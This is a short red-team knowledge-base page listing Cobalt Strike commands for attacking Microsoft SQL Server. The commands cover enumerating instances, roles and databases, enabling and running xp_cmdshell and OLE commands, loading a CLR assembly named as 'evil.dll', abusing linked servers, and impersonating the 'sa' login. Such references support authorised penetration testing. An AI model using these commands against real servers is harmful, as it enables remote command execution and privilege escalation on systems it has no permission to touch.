Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / C2 / COBALT STRIKE / COMMANDS

MSSQL

CommandUsageNote
sql-1434udpsql-1434udp [target]Depending SQLBrowser service running you might collect basic information without having roles
sql-infosql-info [target]Depending on roles, collect more information
sql-whoamisql-whoami [target]Check your roles and permissions on the instance
sql-querysql-query [target] "[query]"<br>Execute a query directly
sql-databasessql-databases [target]Enumerate databases
sql-tablessql-tables [target] [database]Enumerate tables
sql-columnssql-columns [target] [database] [table]Enumerate columns
sql-searchsql-search [target] "[pattern]"Search for columns in the database that match a filter
sql-enablexpsql-enablexp [target]Enable xp_cmdshell
sql-xpcmdsql-xpcmd [target] "[command]"Execute xp_cmdshell commands
sql-disablexpsql-disablexp [target]Disable xp_cmdshell
sql-enableolesql-enableole [target]Enable OLE
sql-olecmdsql-olecmd [target] "[command]"Execute OLE commands - wraps "cmd /c"
sql-disableolesql-disableole [target]Disable OLE
sql-enableclrsql-enableclr [target]Enable SQL CLR
sql-clrsql-clr [target] [C:\ATTACKER\evil.dll] [EvilFunctionName]Load assembly in CLR<br>
sql-disableclrsql-disableclr [target]Disable SQL CLR
sql-linkssql-links [target]Enumerate Linked Servers
sql-checkrpcsql-checkrpc [target]RPC needs to be enabled on the linked server to call stored procedures.
sql-enablerpcsql-enablerpc [target] [target-link]Enable RPC

Impersonation

sql-query [target] "EXECUTE AS LOGIN = 'sa' [query]; "